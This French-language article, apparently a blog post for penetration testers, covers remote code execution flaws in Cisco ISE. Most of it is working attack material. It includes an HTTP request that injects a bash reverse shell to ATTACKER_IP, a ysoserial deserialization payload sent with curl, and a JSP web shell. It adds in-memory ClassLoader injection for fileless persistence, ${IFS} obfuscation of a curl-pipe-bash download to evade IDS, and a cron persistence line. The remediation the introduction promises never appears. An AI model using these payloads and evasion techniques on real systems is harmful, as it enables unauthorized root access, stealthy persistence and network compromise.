
Analyse technique approfondie des vulnérabilités RCE de Cisco ISE, incluant les techniques d'exploitation, les méthodes d'évasion et les stratégies de remédiation pour les chercheurs en sécurité et les testeurs d'intrusion.
Les vulnérabilités d'Exécution de Code à Distance (RCE) dans Cisco Identity Services Engine (ISE) représentent un point de rupture critique dans la sécurité périmétrique d'entreprise. Pour un chercheur en sécurité d'élite, ISE n'est pas simplement un composant d'authentification : c'est la clé maîtresse qui contrôle l'accès à toute l'infrastructure réseau.
Risque Critique : Un attaquant non authentifié peut obtenir un contrôle total du système en moins de 5 minutes, sans laisser de traces détectables dans les systèmes de surveillance traditionnels.
| CVE | Endpoint | Méthode | Authentification | Sévérité |
|---|---|---|---|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Aucune | CRITIQUE |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Faible | CRITIQUE |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Bypass possible | CRITIQUE |
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ARCHITECTURE NAC EXPOSÉE │
├─────────────────────────────────────────────────────────┤
│ │
│ [Internet] ──→ [Firewall] ──→ [Port de Gestion ISE] │
│ ↓ │
│ [API Non Authentifiées] │
│ ↓ │
│ [Couche de Désérialisation Java] │
│ ↓ │
│ [Conteneur Web Tomcat] │
│ ↓ │
│ [Exécution de Commandes OS] │
│ ↓ │
│ [Compromission Complète du Réseau] │
│ │
└─────────────────────────────────────────────────────────┘
Constat Critique : L'API /deployment-rpc/ ne valide pas les jetons de session dans les premières lignes de traitement, permettant un bypass complet de l'authentification.
Phase 1 : Reconnaissance
# Scan des ports et services
nmap -sV -p 8443,8080 <ISE_IP>
# Énumération des endpoints RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Phase 2 : Exploitation Directe
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Résultat : Exécution de commande arbitraire avec les privilèges de root (l'utilisateur Tomcat s'exécute en tant que root dans les configurations par défaut).
[Payload Sérialisé] ──→ [Endpoint API] ──→ [ObjectInputStream.readObject()]
↓
[Exécution de la Gadget Chain]
↓
[Runtime.exec() invoqué]
Payload PoC (avec ysoserial) :
# Génération de la gadget chain malveillante
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Envoi du payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Impact : Élévation de privilèges depuis un compte "Lecture Seule" jusqu'à root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat traite le fichier JSP]
↓
[Exécution avec privilèges root]
Exemple de Web Shell Malveillant :
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Accès ultérieur :
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Un hacker d'élite ne laisse jamais de fichiers sur le disque. L'injection en mémoire est la technique de persistance invisible :
// Injection dans le ClassLoader Tomcat
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Avantage : Les scans de fichiers traditionnels (OSSEC, Tripwire) ne détectent rien.
${IFS}# Commande originale (détectable)
curl http://attacker.com/shell.sh | bash
# Commande obfusquée (évasion IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Variante avec indirection de variable
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'commande_malveillante'
Pourquoi cela fonctionne : Les systèmes de détection recherchent des modèles de mots-clés (curl, bash, |). L'utilisation de ${IFS} (Internal Field Separator) divise les mots sans changer leur signification dans bash.
# ❌ DÉTECTABLE - Fichiers dans /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ INVISIBLE - Injection dans le processus Tomcat
# 1. Créer un listener netcat en mémoire
# 2. Injecter un thread dans la JVM qui maintient une connexion persistante
# 3. Pas de fichiers, pas de processus orphelins visibles